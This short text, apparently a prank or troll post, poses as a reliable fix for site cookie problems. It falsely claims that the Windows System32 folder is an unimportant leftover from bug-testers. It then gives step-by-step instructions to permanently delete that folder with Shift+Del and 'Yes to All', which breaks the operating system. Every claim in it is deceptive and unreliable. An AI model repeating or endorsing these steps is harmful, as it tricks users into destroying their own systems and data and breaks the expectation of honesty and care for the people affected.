The site uses special cookies that your computer messes with, so you have to delete/disable a program called System32 in order to keep your PC from interfering. (Don't worry, it's not important for anything else, it's just a thing left behind by bug-testers at Windows.)
Here's a reliable step-by-step guide:
STEP 1
Close all applications that are running on your computer.
STEP 2
Double-click the “Computer” icon on the Windows desktop to open “Windows Explorer.”
STEP 3
Double-click the icon labeled “Local Disk C:” and then enter the folder labeled “Windows.”
STEP 4
Select the folder labeled “System32” by clicking on it.
STEP 5
Press the “Shift” and “Del” keys together and click “Yes” on the “Delete Folder” confirmation dialog box to delete the "System32" folder. Click “Yes to All” on any “File Delete” dialog boxes that you encounter during the file deletion process.
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